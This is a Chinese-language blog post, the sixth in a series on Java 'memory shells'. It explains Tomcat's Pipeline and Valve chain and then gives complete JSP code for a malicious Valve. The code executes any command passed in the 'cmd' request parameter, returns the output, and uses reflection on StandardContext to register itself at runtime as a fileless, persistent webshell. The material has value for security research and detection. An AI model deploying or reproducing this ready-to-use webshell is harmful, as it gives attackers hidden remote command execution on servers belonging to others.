欢迎光临
我们一直在努力

内存马六:valve

valve内存马

了解valve基础知识

tomcat由Connector和Container两部分组成,container中有四种容器(Engine, Host, Context, Wrapper)。

当一个请求 http://safe.com/login/auth 到达时:

  • Connector 接收 Socket,封装成 Request 对象。
  • Engine 接收请求,查找域名为 safe.com 的 Host。
  • Host 接收请求,查找路径为 /login 的 Context。
  • Context 接收请求,查找对应 auth 路径映射的 Wrapper(Servlet)。
  • Wrapper 最终执行 Servlet.service()。
  • 关键点:在上述每一个箭头的流转过程中,都会触发该容器内部 Pipeline 上的所有 Valve。

    每个容器有一个pipeline;每个pipeline至少有一个valve(BasicValve),以链式连接。

    img

    img

    valve接口定义了setNext()和getNext()函数来指定下一个valve;Pipeline接口中也有很多操作valve的方法;

    image-20260311224141093

    image-20260311224228794

    唯一实现了Pipeline的类是StandardPipeline,其中的addValve逻辑为将新的valve添加到BasicValve前面
    在这里插入图片描述

    基本的思路就是,拿到context就可以获取pipeline,然后addvalve

    完整代码

    <%@ page import="java.io.*" %>
    <%@ page import="java.lang.reflect.*" %>
    <%@ page import="org.apache.catalina.core.*" %>
    <%@ page import="javax.servlet.*, javax.servlet.http.*" %>
    <%@ page import="org.apache.catalina.valves.ValveBase" %>
    <%@ page import="org.apache.catalina.connector.Request" %>
    <%@ page import="org.apache.catalina.connector.Response" %>
    <%–声明一个恶意Valve–%>
    <%!
    public class ShellValve extends ValveBase {
    @Override
    public void invoke(Request req, Response resp) throws IOException, ServletException {
    String cmd = req.getParameter("cmd");
    if (cmd != null) {
    Process proc = Runtime.getRuntime().exec(cmd);
    BufferedReader br = new BufferedReader(
    new InputStreamReader(proc.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
    resp.getWriter().println(line);
    }
    br.close();
    }
    this.next.invoke(req, resp);
    }
    }
    %>
    <%–从ServletContext中获取StandardContext–%>
    <%
    // 从request中获取servletContext
    ServletContext servletContext = request.getServletContext();
    // 从servletContext中获取applicationContext
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    // 从applicationContext中获取standardContext
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
    %>
    <%–动态注册恶意Valve–%>
    <%
    standardContext.getPipeline().addValve(new ShellValve());
    %>

    参考内容

    https://www.cnblogs.com/coldridgeValley/p/5816414.html

    https://su18.org/post/memory-shell/

    https://www.bilibili.com/video/BV1HaGPzcENy

    赞(0)
    未经允许不得转载:171主机测评 » 内存马六:valve
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址